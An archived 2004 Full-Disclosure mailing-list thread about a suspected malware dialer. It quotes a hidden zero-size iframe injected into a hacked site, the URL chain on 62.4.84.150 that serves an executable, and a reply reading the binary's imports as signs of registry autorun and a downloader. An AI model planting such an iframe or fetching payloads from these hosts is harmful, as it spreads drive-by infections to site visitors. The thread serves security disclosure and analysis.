full-disclosure - Possible dialer on 62.4.84.150

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <ELEOLHOJFMBPBFCJHOCIIEIEFAAA.aditya.deshmukh@online.gateway.technolabs.net>
From: aditya.deshmukh at online.gateway.technolabs.net (Aditya, ALD [Aditya Lalit Deshmukh])
Subject: Possible dialer on 62.4.84.150

KERNEL32.DLL
0000	LoadLibraryA
0000	GetProcAddress
0000	ExitProcess

advapi32.dll
0000	RegCloseKey

oleaut32.dll
0000	SysFreeString

shell32.dll
0000	ShellExecuteA

user32.dll
0000	SetTimer



all these exports show point in a direction that it creates a key in the registry for autoloading on reboot and executes a executable, possibly this is a downloader that downloads someother program from somewhere which i have not been able to find yet!

-aditya


-----Original Message-----
From: full-disclosure-admin@...ts.netsys.com
[mailto:full-disclosure-admin@...ts.netsys.com]On Behalf Of Daniel
Bartlett
Sent: Wednesday, August 18, 2004 12:17 AM
To: Full Disclosure
Subject: [Full-Disclosure] Possible dialer on 62.4.84.150


Hi All,
I've only looked at this for about 3 mins, so there isn't a lot to tell.
>From a website that looks like someone has hacked it and added a IFRAME
to the top of the page:
<iframe FRAMEBORDER="0" width="0" height="0"
src="http://213.158.119.103/iframe.php?xid=111"></iframe>
>From this frame it gets bounced onto:
http://62.4.84.150/data/start.php?id=111-b&aid=0
then onto:
http://62.4.84.150/data/start.php?id=111-download&aid=0
which then downloads a 17984b exe file.
I've attached a strings output from the exe, and a copy of the
exe(password for zip is lamedial).

I hope someone else can shead more light on this than I can.

Cheers,
Daniel B.
-- 
  Daniel Bartlett
  danbuk_fd@...pmail.net



________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)